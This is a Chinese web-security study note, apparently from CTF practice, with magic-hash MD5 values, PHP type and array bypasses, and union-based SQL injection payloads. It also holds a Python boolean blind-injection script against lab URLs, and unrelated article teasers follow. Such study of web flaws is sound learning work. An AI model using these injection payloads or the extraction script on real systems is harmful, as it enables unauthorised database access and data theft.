web安全基础学习笔记

这里写目录标题

  • 1.使用hackbar
  • 2.php漏洞基本分析 弱类型语言
    • 2.2 php漏洞找到隐藏的源代码之 index.php~
    • 2.3 php漏洞找到隐藏的源代码之 vim的临时文件 /.index.php.swp
    • 3.php漏洞基本分析 数组
  • 3.php漏洞基本分析 extract
  • 4.php漏洞基本分析 strpos eregi函数漏洞
  • 4.php漏洞基本分析 eregi函数漏洞
  • 5.SQL注入漏洞分析
    • 5.1 整数型 联合注入
      • 5.1.1 判断注入点
      • 5.1.2 判断列数
      • 5.1.3 查询库名
      • 5.1.4 查询表名
      • 5.1.4 查询数据库列名
      • 5.1.4 查询结果
    • 5.1 字符型 联合注入
    • 5.3 布尔盲注
      • 盲注常用函数
      • 编写布尔盲注脚本
  • 6 SQL注入实操
  • 7 PHP反序列化漏洞分析与实操讲解
  • 8 文件上传漏洞

1.使用hackbar

通过hackbar在浏览器发送请求包就能得到请求内容。
在这里插入图片描述

2.php漏洞基本分析 弱类型语言

在这里插入图片描述
如果字符串跟数字匹配会自动转换成数字。
在这里插入图片描述
案例
在这里插入图片描述

2.2 php漏洞找到隐藏的源代码之 index.php~

index.php是一个用PHP语言开发的网站的首页,index是普遍意义上的“首页”,也就是你输入一个域名后会打开一个页面,基本上就是index.xxxx(基本上首页都不会把index.xxxx显示在url里,但也不绝对) 使用index.php~下载到源代码
在这里插入图片描述
下载到源文件后发现代码需要输入两个相同的md5进行判断才给通过。所以这道题可以用0e开头的md5进行绕过。

处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同

下面是一些哈希后0E开头的字符

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708 
0e462097431906509019562988736854
314282422 
0e990995504821699494520356953734
571579406 
0e972379832854295224118025748221
903251147 
0e174510503823932942361353209384
1110242161 
0e435874558488625891324861198103
1320830526 
0e912095958985483346995414060832
1586264293 
0e622743671155995737639662718498
2302756269 
0e250566888497473798724426794462
2427435592 
0e067696952328669732475498472343
2653531602 
0e877487522341544758028810610885
3293867441 
0e471001201303602543921144570260
3295421201 
0e703870333002232681239618856220
3465814713 
0e258631645650999664521705537122
3524854780 
0e507419062489887827087815735195
3908336290 
0e807624498959190415881248245271
4011627063 
0e485805687034439905938362701775
4775635065 
0e998212089946640967599450361168
4790555361 
0e643442214660994430134492464512
5432453531 
0e512318699085881630861890526097
5579679820 
0e877622011730221803461740184915
5585393579 
0e664357355382305805992765337023
6376552501 
0e165886706997482187870215578015
7124129977 
0e500007361044747804682122060876
7197546197 
0e915188576072469101457315675502
7656486157 
0e451569119711843337267091732412
QLTHNDT 
0e405967825401955372549139051580
QNKCDZO 
0e830400451993494058024219903391
EEIZDOI 
0e782601363539291779881938479162
TUFEPMC 
0e839407194569345277863905212547
UTIPEZQ 
0e382098788231234954670291303879
UYXFLOI 
0e552539585246568817348686838809
IHKFRNS 
0e256160682445802696926137988570
PJNPDWY 
0e291529052894702774557631701704
ABJIHVY 
0e755264355178451322893275696586
DQWRASX 
0e742373665639232907775599582643
DYAXWCA 
0e424759758842488633464374063001
GEGHBXL 
0e248776895502908863709684713578
GGHMVOE 
0e362766013028313274586933780773
GZECLQZ 
0e537612333747236407713628225676
NWWKITQ 
0e763082070976038347657360817689
NOOPCJF 
0e818888003657176127862245791911
MAUXXQC 
0e478478466848439040434801845361
MMHUWUV 
0e701732711630150438129209816536

2.3 php漏洞找到隐藏的源代码之 vim的临时文件 /.index.php.swp

用户在使用vim编辑,意外退出时,会在当前目录生成备份文件

以 index.php 为例 第一次产生的缓存文件名为 .index.php.swp
第二次意外退出后,文件名为.index.php.swo
第三次产生的缓存文件则为 .index.php.swn
注意:index前有 " . "
在这里插入图片描述

3.php漏洞基本分析 数组

在这里插入图片描述
题目要求输入的v3必须跟flag的一致才能给你返回。
php的某些函数是不能输入数组的,如果强行输入数组会返回一个null,而在php中对null中取非他就是True.

只要看到一个只能接收字符串的输入,就往里面灌入一个其他类型的函数,可能会有意想不到的结果。

这道题也是一样只要注入一个不同的数组就能得到结果。

/?v1[]=1&v2[]=2&v3[]=3 直接灌入数组

在这里插入图片描述

3.php漏洞基本分析 extract

extract 把数组转换成变量名和变量值的生命。
在这里插入图片描述

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

这道题可以通过强行传入数组或者传入空值来解决。

/extract.php/?aurora&flage 直接不写内容就是空

4.php漏洞基本分析 strpos eregi函数漏洞

案例
在这里插入图片描述
这道题可以用数组绕过。

4.php漏洞基本分析 eregi函数漏洞

eregi函数在进行匹配的时候,如果碰到%00会意味着字符串的结束,因此我们只需要传入%001234,他截取到%00后匹配的时候就会变成111,111在1114中,成功绕过

案例 https://blog.csdn.net/m0_52432374/article/details/113647955?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-113647955-blog-124258277.235^v43^control&spm=1001.2101.3001.4242.1&utm_relevant_index=3

5.SQL注入漏洞分析

只要通过让他的语句结果为真就可以进行注入,找到注入点让他的结果不一样
在这里插入图片描述

5.1 整数型 联合注入

5.1.1 判断注入点

条件1 回显结果到网页
在这里插入图片描述
案例页面 输入的结果可以显示到网页中。
在这里插入图片描述
他的注入点就在输入的地方。在原来数据查询的基础上增加一个条件,同时要求他这个条件成立。

/1.php?id=2 and 1=0 通过在注入点后面增加sql语句就可以发现原始的sql有没有拼接我们新加进去的语句。如果加进去了就证明注入点可用。

5.1.2 判断列数

通过拼接order by来猜测数据有多少列,因为超过后会直接报错。

?id=2 order by 4

5.1.3 查询库名

通过拼接 union 来查询数据库名

/1.php?id=0 union select 1,2,database()

在这里插入图片描述

5.1.4 查询表名

在这里插入图片描述

通过之前查询出来的数据库,查询这个库里面的全部表
/1.php?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where%20table_schema= ‘ctf’

5.1.4 查询数据库列名

/1.php?id=0 UNION SELECT 1,2,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE table_name = ‘answer’

在这里插入图片描述

5.1.4 查询结果

/1.php?id=0 UNION select 1,2,flag from answer

在这里插入图片描述

5.1 字符型 联合注入

把内容加成了字符型,如果使用之前的1=1的方式会被带成一个整体带入请求里面也就是字符串。
在这里插入图片描述
解决方案
在这里插入图片描述
跟之前的方式一样,不过要添加一个闭合引号以及注释引号
在这里插入图片描述
步骤还是跟之前的一样就是添加了几个引号
在这里插入图片描述

5.3 布尔盲注

没有结果的回显。
在这里插入图片描述
解决办法
在这里插入图片描述
案例

在这里插入图片描述
通过sql语句的返回真假 去猜测这个数据库的长度。
在这里插入图片描述

盲注常用函数

在这里插入图片描述
通过这些语句猜测数据库里面的库和表名,暴力破解的方式进行猜测。

编写布尔盲注脚本

使用盲注脚本进行暴力破解

# 导入requests发送请求,导入re正则表达式对响应包进行筛选
import re
import requests


# 首先测试一下是否能够正常访问到测试地址
url = "http://test.com"
url_template = "http://test.com/Less-8/?id=1' and length((select database()))=8--+"
len = 0
# DBname = ''
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 '
                 '(KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36'}
response = requests.get(url_template,headers = headers)
print(response)


def GetDBName():
    # 获取数据库的长度
    print("----------测试数据库长度--------------")
    url_template = "http://test.com/Less-8/?id=1' and length((select database()))={}--+"
    for i in range(1, 99):
        current_url = url_template.format(i)
        response = requests.get(current_url, headers=headers)
        if re.search(r'You are in',response.text):
            len = i
            print("数据库长度为:", i)
            break

    # 测试数据库名称
    print("----------测试数据库名--------------")
    DBname = ''
    url_template1 = "http://test.com/Less-8/?id=1%27%20and%20ascii(substr((select%20database()),{},1))={}--+"
    for i in range(1, len+1):
        for j in range(33, 127):
            # 拼接构造需要的测试的URL地址,通过format函数批量构造
            current_url1 = url_template1.format(i, j)
#            print(current_url1)

            # 发送请求
            response1 = requests.get(current_url1, headers=headers)

            # 判断是否成功
            if re.search(r'You are in', response1.text):
                DBname += chr(j)
                print("数据库名为:", DBname)
                break

if __name__ == '__main__':
    GetDBName()



6 SQL注入实操

找到列数后查询库名。

/?r=content&cid=0%27%20union%20select%201,2,3,4,5,6,7,8,9,10,database(),12,13%23
在这里插入图片描述

在查询他的表名

http://fce98831-8235-42a8-8d92-aa3cd5b77fbc.node.kanxue.com:81/?r=content&cid=0' union select 1,2,3,4,5,6,7,8,9,10,group_concat(table_name),12,13 from information_schema.tables where 
 table_schema='cuni'%23

在这里插入图片描述
列名查询数

http://fce98831-8235-42a8-8d92-aa3cd5b77fbc.node.kanxue.com:81/?r=content&cid=0%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,group_concat(COLUMN_NAME),12,13%20FROM%20information_schema.columns%20WHERE%20table_name%20=%20%27adword%27%23union%20select%201,2,3,4,5,6,7,8,9,10,group_concat(table_name),12,13%20from%20information_schema.tables%20where%20table_schema=%27cuni%27%23

在这里插入图片描述

查询数据库内容

http://fce98831-8235-42a8-8d92-aa3cd5b77fbc.node.kanxue.com:81/?r=content&cid=0' UNION select 1,2,3,4,5,6,7,8,9,10,date,12,13 from content %23

在这里插入图片描述

7 PHP反序列化漏洞分析与实操讲解

在这里插入图片描述
在这里插入图片描述

序列号只能序列化属性,不序列化方法在这里插入图片描述

在这里插入图片描述
样例
在这里插入图片描述
魔术方法介绍:https://blog.csdn.net/weixin_45954730/article/details/131861020在这里插入图片描述

8 文件上传漏洞

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/676823.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java web应用性能分析之【java进程问题分析定位】

Java web应用性能分析之【java进程问题分析概叙】-CSDN博客 Java web应用性能分析之【java进程问题分析工具】-CSDN博客 Java web应用性能分析之【jvisualvm远程连接云服务器】-CSDN博客 由于篇幅限制、前面三篇讲了准备工作和分析小结,这里将详细操作java进程问题…

The First项目报告:去中心化知识产权治理协议MON Protocol如何革新链游产业?

2023年12月,RPG NFT 游戏 Pixelmon 首席执行官 GiulioX 在 X 平台表示,确认将推出代币 MON,代币生成(TGE)时间将取决于 MON 的路线图和主流 CEX 的启动板队列。12 月 11 日,RPG NFT 游戏 Pixelmon 首席执行…

防爆AGV叉车在现代物流行业的应用

AGV 随着机器人技术在中国的快速发展,国内企业开始推出区别于传统叉车的叉车AGV,旨在为企业降本增效,降低人工成本与对人的依赖;同时,也将人工从危险恶劣的环境中解放出来。随着技术的持续提升,叉车AGV已经…

API低代码平台介绍4-数据库记录插入功能

数据库记录插入功能 本篇文章我们将介绍如何使用ADI平台定义一个向目标数据库插入记录的接口,包括手工组装报文单表插入、手工组装报文多表插入、自动组装报文多表插入三种方式。无论是单表插入还是多表插入,任何一条记录写入失败,那么默认情…

kvm学习 - 迅速上手示例

目录 kvmtool kvmsample kvmtool GitHub - kvmtool/kvmtool: Stand-alone Native Linux KVM Tool repoStand-alone Native Linux KVM Tool repo. Contribute to kvmtool/kvmtool development by creating an account on GitHub.https://github.com/kvmtool/kvmtool.git cd …

17.Redis之主从复制

1.主从复制是怎么回事? 分布式系统, 涉及到一个非常关键的问题: 单点问题 单点问题:如果某个服务器程序, 只有一个节点(只搞一个物理服务器, 来部署这个服务器程序) 1.可用性问题,如果这个机器挂了,意味着服务就中断了~ 2.性能/支持的并发量也是比较有限…

C语言学习:数据类型

一、 为什么要引入数据类型 • 计算机中每个字节都有一个地址(类似门牌号) • CPU通过 地址 来访问这个字节的空间 0x20001103 1 0 0 1 0 0 1 1 0x20001102 1 1 1 0 1 1 1 0 0x20001101 1 1 1 1 0 1 0 1 0x20001100 0 …

【UML用户指南】-06-面向对象建模-关系(relationship)

目录 1、面向对象建模常见的关系 2、关系的组成元素 3、依赖关系 4、泛化关系 5、关联关系 关联的四种修饰 1.名称 2.角色 3.多重性 4.聚合 6、常用建模技术 6.1、对简单依赖建模 6.2、对单继承建模 6.3、对结构关系建模 1、面向对象建模常见的关系 依赖 &#x…

flask轻松入门,概念讲解

Hello World Flask 是轻量级web框架,仅保留了核心功能: 请求响应处理模板渲染URL路由 文章目录 Hello Worldflask命令模式python命令模式两种模式对比修改入口文件配置flask命令修改python命令修改 修改端口和地址flask命令修改python命令修改 修改 URL …

jupyter之plt 画图弹出窗口展示图片以及静态图片切换方法

1. jupyter出图的三种方式 在python的Jupyter Notebook中,使用matplotlib绘制动态图形时,可能出现只显示一张静态图像。 这是因为在notebook中使用plt绘图共有三种模式: %matplotlib inline:这是默认的模式,输出的图片…

JavaScript 基础 - 对象

对象 对象是一种无序的数据集合&#xff0c;可以详细的描述描述某个事物。 注意数组是有序的数据集合。它由属性和方法两部分构成。 语法 声明一个对象类型的变量与之前声明一个数值或字符串类型的变量没有本质上的区别。 <script>let 对象名 {属性名&#xff1a;属性值…

【OPENMV】学习记录 (持续更新)

一、图像 1 设置彩色&#xff0f;黑白&#xff1a; sensor.set_pixformat() 设置像素模式。 sensor.GRAYSCALE: 灰度&#xff0c;每个像素8bit。sensor.RGB565: 彩色&#xff0c;每个像素16bit。 2 设置图像大小&#xff1a; sensor.set_framesize() 设置图像的大小 sensor.…

前端优化之图片压缩——tinyPNG

今天前端前辈新介绍的一个压缩图片的工具——tinyPNG&#xff0c;地址&#xff1a;TinyPNG – Compress WebP, PNG and JPEG images intelligently可以将图片压缩&#xff0c;进行优化。 一、使用方法——手动压缩 将超过200kb的图片拖到我标注的红框框里&#xff0c;拖到这里…

如何快速定位到影响mysql cpu飙升的原因——筑梦之路

通常我们只需要执行show processlist 进行查看&#xff0c;一般执行时间最长的SQL八九不离十就是罪魁祸首&#xff0c;但当show processlist的输出有近千条&#xff0c;那么很难第一眼就发现有问题的SQL&#xff0c;那么如何快速找到呢&#xff1f;其实也非常简单。我们知道mys…

多卡聚合智能融合通信设备在无人机无线视频传输应用

无人驾驶飞机简称“无人机”&#xff0c;是利用(无线电)遥控设备和自备的程序控制装置操纵的不载人飞行器&#xff0c;现今无人机在航拍、农业、快递运输、测绘、新闻报道多个领域中都有深度的应用。 无人机无线视频传输保证地面人员利用承载的高灵敏度照相机可以进行不间断的画…

HCIA--OSPF实验(复习)

实验拓扑&#xff1a; 实验思路&#xff1a; 1.规划IP&#xff0c;配置环回&#xff0c;接口IP 2.把R1&#xff0c;R2优先级改为0&#xff0c;让R1、R2放弃选举&#xff0c; [r1]interface g0/0/0 [r1-GigabitEthernet0/0/0]ospf dr-priority 0 <r1>reset ospf…

【linux】线程同步和生产消费者模型

线程同步 当我们多线程访问同一个临界资源时&#xff0c;会造成并发访问一个临界资源&#xff0c;使得临界资源数据不安全&#xff0c;我们引入了锁的概念&#xff0c;解决了临界资源访问不安全的情况&#xff0c;对于线程而言竞争锁的能力有强有弱&#xff0c;对于之前就抢到…

图形学初识--颜色混合

文章目录 前言正文为什么要有颜色混合&#xff1f;颜色混合常见实现方式&#xff1f;上述颜色混合注意点 结尾&#xff1a;喜欢的小伙伴点点关注赞哦! 前言 本章节补充一下颜色混合的内容&#xff0c;主要包含&#xff1a;为什么要有颜色混合&#xff1f;颜色混合常实现方式&a…

外星人Alienware x17R1 原厂Windows11系统

装后恢复到您开箱的体验界面&#xff0c;包括所有原机所有驱动AWCC、Mydell、office、mcafee等所有预装软件。 最适合您电脑的系统&#xff0c;经厂家手调试最佳状态&#xff0c;性能与功耗直接拉满&#xff0c;体验最原汁原味的系统。 原厂系统下载网址&#xff1a;http://w…

全文检索-ElasticSearch

1.基本概念 1.Index索引 动词&#xff1a;相当于MySQL中的insert&#xff1b; 名词&#xff1a;相当于MySQL中的DataBase&#xff1b; 2.Type&#xff08;类型&#xff09; 在Index&#xff08;索引&#xff09;中&#xff0c;可以定义一个或多个类型 类似于MySQL中的Tab…
最新文章